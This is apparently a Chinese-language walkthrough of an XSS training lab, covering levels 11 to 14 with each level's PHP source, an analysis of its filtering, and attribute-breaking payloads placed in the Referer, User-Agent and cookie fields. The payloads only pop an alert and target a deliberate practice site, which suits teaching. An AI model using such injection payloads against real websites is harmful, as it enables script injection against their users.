str和str00都html实体化而且不在script标签内部,且闭合为',应该无解,然后发现str33,没有实体化,$_SERVER['HTTP_REFERER']获取httpreferer信息,只是过滤了< > ,可以闭合双引号来绕过,不过我没明白这题啥用
payload:" type = "text" onclick=alert('xss')//
第十二关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level13.php?keyword=矢志不渝"; } </script> <title>第12关</title> </head> <body> <h1 align=center>第12关 黑人问号</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.htmlspecialchars($str00).'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/f4558b8c-778b-4dd8-bef6-425766f9d178.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 分析:和上一关一样,xss位置变一下
payload:" type = "text" onclick=alert('xss')//
第十三关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level14.php"; } </script> <title>第13关</title> </head> <body> <h1 align=center>第13关 做题好爽啊</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.htmlspecialchars($str00).'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/c048c2e3-7937-478b-9781-0ee4d7214648.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 分析:$_COOKIE["user"];获取cookie,然后过滤< > 没有实体化输入,尝试闭合双引号
payload: user=" type = "text" onclick=alert('xss')// 第十四关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script src="http://chao.jsanhuan.cn/angular.min.js"></script> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level15.php?keyword=业精于勤"; } </script> <title>第14关</title> </head> <h1 align=center>第14关 恭喜你快要通关了</h1> <p align=center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/54c95d0f-037b-4885-a3f4-f8a3ad5c9341.jpg"></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span></span></body>'; ?> 分析:传入src,然后实体化输出,然后似乎无解,仔细看前面ng-include:,
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以传入其他关的xss,不过不知道这有啥用既然其他地点有xss
由于引用的js代码失败,所以我没成功,但云靶机是对的,云靶机地址:https://www.xss.tv/